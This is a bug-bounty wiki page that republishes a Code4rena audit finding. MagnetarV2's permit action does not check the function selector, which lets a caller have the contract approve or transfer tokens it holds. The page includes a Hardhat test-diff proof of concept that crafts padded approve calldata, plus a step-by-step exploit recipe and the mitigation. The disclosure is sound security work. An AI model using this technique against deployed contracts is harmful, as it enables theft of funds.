Skip to content
Access control Audit finding Intermediate

User can give himself approval for all assets held by MagnetarV2 contract

The MagnetarV2 contract's permit action did not verify the function selector, allowing an attacker to call arbitrary functions such as approve or transfer. An attacker could give themselves approval over any assets held by the contract, potentially leading to loss of funds.

0xTheC0der Follow with Ack and dirk_y

Originally disclosed on Code4rena

Submitted by 0xTheC0der, also found by Ack and dirk_y

When calling MagnetarV2._permit(…) through invoking a permit (or permit all) action via MagnetarV2.burst(…), one can also execute other calls than ERC20.permit(...) due to the following reasons / under the following constraints:

  • The target address can be chosen freely, can be any contract, asset, token, NFT, etc.
  • The function selector in actionCalldata is not checked, i.e. not required to be ERC20.permit(...)
  • The first parameter in the encoded actionCalldata must be equal to msg.sender
  • The length of the actionCalldata should match the length of an encoded call to ERC20.permit(...) to avoid issues on abi.decode(...)

Given this information, an attacker can easily craft calls to give him approval for any assets held by the MagnetarV2 contract or directly invoke a transfer. There are potentially other malicious calls that can be crafted and executed via the permit action, therefore the mentioned approve/transfer calls are only an example.

In order for this to cause loss of funds for the DAO, the MagnetarV2 contract needs to hold (be the owner of) assets in the first place which seems likely since it is a main entry point and interacts with other important parts of the protocol like Singularity, BigBang, TapiocaOptionBroker and MagnetarMarketModule (trough delegatecall in some cases).

Proof of Concept

The following PoC is based on an existing test case and demonstrates that an attacker can give himself the approval of the MagnetarV2 contract for an ERC20 token.

Just apply the diff below in tapioca-periph-audit and run the test case with npx hardhat test test/magnetar.test.ts:

diff --git a/test/magnetar.test.ts b/test/magnetar.test.ts
index 63d108e..f32659d 100644
--- a/test/magnetar.test.ts
+++ b/test/magnetar.test.ts
@@ -439,7 +439,7 @@ describe('MagnetarV2', () => {
     });

     describe('permits', () => {
-        it('should test an array of permits', async () => {
+        it.only('approve via permit action', async () => {
             const { deployer, eoa1, magnetar } = await loadFixture(register);

             const name = 'Token One';
@@ -486,39 +486,38 @@ describe('MagnetarV2', () => {
             );
             const signature = signTypedMessage(privateKey, { data });
             const { v, r, s } = fromRpcSig(signature);
-
+
+            // Original permit calldata: user/deployer gives approval about value to eo1
             const permitEncodedFnData = tokenOne.interface.encodeFunctionData(
                 'permit',
                 [deployer.address, eoa1.address, value, MAX_DEADLINE, v, r, s],
             );
+
+            // Crafted approve calldata: magnetar gives approval about value to user/deployer
+            const approveEncodedFnData = tokenOne.interface.encodeFunctionData(
+                'approve',
+                [deployer.address, value],
+            );
+
+            // Pad approve calldata to length of permit calldata, otherwise magnetar reverts when decoding
+            const approveEncodedFnDataPadded = approveEncodedFnData.padEnd(permitEncodedFnData.length, '0');

             await magnetar.connect(deployer).burst([
                 {
-                    id: 2,
+                    id: 2,      // PERMIT
                     target: tokenOne.address,
                     value: 0,
                     allowFailure: false,
-                    call: permitEncodedFnData,
+                    call: approveEncodedFnDataPadded, // provide padded approval calldata
                 },
             ]);

+            // Check if approval was successful
             const allowance = await tokenOne.allowance(
+                magnetar.address,
                 deployer.address,
-                eoa1.address,
             );
             expect(allowance.eq(value)).to.be.true;
-
-            await expect(
-                magnetar.connect(deployer).burst([
-                    {
-                        id: 2,
-                        target: tokenOne.address,
-                        value: 0,
-                        allowFailure: false,
-                        call: permitEncodedFnData,
-                    },
-                ]),
-            ).to.be.reverted;
         });
     });

Tools Used

VS Code, Hardhat

Recommended Mitigation Steps

Require the function selector (first 4 bytes of actionCalldata) to match an ERC*.permit(...) call in MagnetarV2._permit(…).

0xRektora (Tapioca) confirmed


The original report as published on Code4rena, by 0xTheC0der. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The _permit function did not validate the function selector in the provided calldata, so any function could be called as long as the first argument matched the sender and the calldata length matched a permit call.

Impact

An attacker could gain approval over any assets held by the MagnetarV2 contract or directly transfer them, potentially causing loss of funds if the contract holds assets.

What the attacker needed

MagnetarV2 holds assets; Attacker can call burst

The fix

The function selector of the calldata should be checked to match an ERC*.permit call.

How it was found

  1. Craft calldata for an approve call on a token, with the attacker as spender and the contract as owner.
  2. Pad the calldata to the same length as a permit call to avoid decoding errors.
  3. Call MagnetarV2.burst with the permit action id and the crafted calldata.
  4. The contract executes the approve call, granting the attacker allowance over its tokens.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract called MagnetarV2 lets users perform a 'permit' action, which is supposed to let someone approve spending of their own tokens. But the contract did not check that the action was really a permit; it would run any function the user asked for. So an attacker could ask the contract to approve the attacker to spend tokens that the contract itself holds, which could let the attacker steal those tokens.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by 0xTheC0der

View all

11 more disclosed reports, best first.

More from Tapioca Invitational

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.